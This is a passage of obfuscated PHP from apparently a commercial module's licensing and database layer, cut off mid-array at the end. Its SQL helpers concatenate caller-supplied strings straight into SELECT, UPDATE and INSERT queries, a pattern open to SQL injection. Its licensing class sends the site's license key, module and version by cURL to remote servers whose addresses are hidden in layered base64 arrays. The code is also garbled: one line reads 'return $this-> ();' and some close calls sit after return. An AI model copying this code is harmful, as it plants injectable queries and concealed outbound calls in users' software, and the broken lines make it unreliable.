public function Random($arr)
{
return $arr[array_rand($arr)];
}
public function sql_select_tbl($tbl, $where = '', $order = '', $limit = '')
{
if ($where != '') {
$rwhere = 'WHERE ' . $where;
}
else {
$rwhere = '';
}
if ($order != '') {
$obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE = 'ORDER BY ' . $order;
}
else {
$obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE = '';
}
if ($limit != '') {
$obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE = 'LIMIT ' . $limit;
}
else {
$obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE = '';
}
$this->execute('SELECT * FROM `' . $tbl . '` ' . $rwhere . ' ' . $obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE . ' ' . $obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE . '');
$qry = $this->obf_4uihoiRj6abtLOhqsCUlJ8roW0jIE();
return $qry;
}
public function sql_update_tbl($db, $rl = '', $wh = '')
{
if ($rl != '') {
$rule = 'SET ' . $rl;
}
else {
$rule = '';
}
if ($wh != '') {
$where = 'WHERE ' . $wh;
}
else {
$where = '';
}
$this->execute('UPDATE `' . $db . '` ' . $rule . ' ' . $where . '');
}
public function sql_insert_tbl($db, $rl = '', $vl = '')
{
$this->execute('INSERT INTO `' . $db . '` ' . $rl . ' ' . $vl . '');
return $this-> ();
}
}
class obf_6uitZ2UnYWis7KLp5OMrKOZiYiOpJE
{
public function CyberNetWeb()
{
global $MySQL;
$obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE = ['IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESldLRXhYSkhZbU0xSndLbTBtZENwWVZubFpWeVYyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkptMVdlbHBYZUhOYVdFbDBYa2M1ZWtCSGJIVmFlVEYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldrZFdhMTVYVGlSQVIxWnJURmhPYkNadVdtd21LREYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldUSjRka0JYVVhSQWJrSjZURmN4TVNadFJtOU1kejA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpqTk9jMHhYVG13bWJsSndXbTFzS1ZsWVVtd21lVEYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldrYzVkRmxYYkhWTVZ6VWtLbGRWZENwWVZubFpWeVYyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3eU1YWmFTRlp6V2xNeGJsbFlTbXRhVnpSMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3elFHOHFWMDU2VEZjeGRscElWbk5hVXpnOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3elFHOVpXRko2V1ZoQ2QweFhNWFphU0ZaeldsTTRQUT09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldWZEtka0JZVVhSWk0yd29XbGhLZFZwWVVYUmVXRkYwSmpJNWMwQllVbkFxTWpWNlRIYzlQUT09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFFZFdlU3BUTVhaYUtERjZXbGhLTWw1WFRtd21lVGc5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpqSldlVUJ0YkNsYVV6RnpXbGhhYkNwRE1TUmFNMHBzV2xjeGJDcHVVWFk9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldtNUtiQ1pZVm13cWJsSnpJMU14SkNZeWRHeGFRekY0UUZkV2VrQkhiSFlxYmsxMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpraEtjRUJ0UmlralV6RjNLako0Y0ZremEzWT0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldUSTVkVUJIUmlsQVF6RXhKbms0UFE9PSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJRREpXS0V4WEpIWW1NMUp3S20wbVBRPT0i', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJKbTFXZWxwWGVITmFXRWwwWGtjNWVrQkhiSFZhZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJKak5PYzB4WFRtd21ibEp3V20xc0tWbFlVbXdtZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJLbGM1YTBCWGVHeE1WMEFrSm0xU2JDb2xQVDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJRRElrZEZrelRYUXFWemxyUUZkNGJBPT0i', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkbDR5TlhaQU1uaHNXa2RBYkZsdFJucGFVVDA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd6UUc4cVYwNTZURmRHYTFwSE9YVW1lVGwwS2pKU01TcEhWWFJhTWtaNVdrZFdkVXgzUFQwPSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd6UUc4cVYwNTZURmRHYTFwSE9YVW1lVGt6WGtjeEtTWjVNWFFxTWxJeEtrZFZkZz09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd5VG5ZcWJsSjVLakozZENaSFJuVmFWM2QyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprelhrY3hLU1o1TVNSYVIxSjJLbTVOZGlwWE9XdEFWM2hzVEZkQUpDWnRVbXdxS0RnOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprelhrY3hLU1o1TVNSYVIxSjJLbTVOZGtBeUpIUlpNMDEwS2xjNWEwQlhlR3hNZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprcEtqSTFNQ1p0T1hOTVdFSWtLbTFXYzB4M1BUMD0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkZz09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbHBIT1hSWlYyeDFURmMxSkNwWFZubz0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbGt5T1hWQVNFcDJLa014ZDFsWE5Xd3FRVDA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkaXBYT1d0QVYzaHNKbmt4YmxsWVNtdGFWelE5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbGt5T1hWQVIwWXBRRU14TVNaM1BUMD0i'];
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($MySQL->random($obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE), $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function VarFrom()
{
return ['f', 'c', 'b', 'i', 'd', 'e', 'h', 'g', 'a', 'j'];
}
public function VarTo()
{
return ['!', '&', '*', '(', '@', '#', '$', '%', '^', ')'];
}
public function UrlBaseAuth()
{
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IldWaFdNRjVIT1hsZVdIQnNUSGM5UFE9PSI=', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function CurlPostData($url_server = '', $license_key = '')
{
$url = $url_server . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_75s42Xr7GsiJKijJytkpGinrWqrLE();
$ch = curl_init($url);
$data = ['license_key' => '' . $license_key . ''];
$payload = json_encode($data);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type:application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
return $result;
curl_close($ch);
}
public function CurlPostDataSecret($url_server = '', $module = '', $version = '')
{
$url = $url_server . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_56ynLebmpWirZ6KoYm1uqqrh8CvrIE();
$ch = curl_init($url);
$data = ['module' => '' . $module . '', 'version' => '' . $version . ''];
$payload = json_encode($data);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type:application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
return $result;
curl_close($ch);
}
public function Usr_Dec($data_decoded, $from = '', $to = '')
{
return base64_decode(str_replace($to, $from, base64_decode(json_decode(base64_decode($data_decoded), true))));
}
public function LicenseKey()
{
$modulename = $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE();
$file = $this->getdirectory() . '/license.php';
$fileRename = $this->getdirectory() . '/license_RENAME.php';
if (!file_exists($file) && file_exists($fileRename)) {
exit($modulename . ': Unable to find ' . $file . ' file. Please rename file license_RENAME.php to license.php');
}
if (!file_exists($file)) {
exit('Unable to find ' . $file . ' file.');
}
$keyName = $modulename . '_licensekey';
$content = file_get_contents($file);
$matches = [];
preg_match('/' . $keyName . '\\s?=\\s?\\"([A-Za-z0-9_]+)\\"/', $content, $matches);
$key = $matches[1];
if (!$key) {
exit('Invalid License Content');
}
return $key;
}
public function GetProtocol()
{
$url = 'https://license.co.id/authorize/protocol';
$ch = curl_init($url);
$data = ['remote' => '1'];
$payload = json_encode($data);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
$hasil = json_decode($result);
if (trim($hasil) == '1') {
$data = 'https://';
}
else {
$data = 'http://';
}
return $data;
}
public function RemoteHost()
{
global $MySQL;
$obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE = ['IlFETkFNMHh0ZUhCWk1sWjFKakpWZFZreU9IVmVWMUYyIg==', 'IktrZHNLVnBYTlhwYVV6VXBLbmsxY0ZwRE9EMD0i', 'IkpqSldlVUJ0Vm5sTVYwWXhKbTFzYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFb2tJMjFzYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVYwWTJKbTFHYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFb2tKa2NrSkZwWGQzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVYwQWtXVzVLY0ZwWGQzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVZ6RnNKbTFPTVNadWEzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdGcHNLbTVXZWt4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVYxWWtKbTVTYjB4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVZ6RWtKbTVOZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXpnOSI=', 'IkpqSldlVUJ0Vm5sTVYzQXhKa2RzTUZwWVNYVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFNGtRRWhXZVNvb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdGWjVXVmMxTVNaNU5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVZ6VnNKa2hTTVNvb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFSnpRRmhTZGt4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVYwWnpXa2hLY0ZreUpYVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFcHZXbGRGZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXpnOSI=', 'IkpqSldlVUJ0Vm5sTVdFSWtLbTV3YkNZb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpuZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpuaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpubE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpucE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqRk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 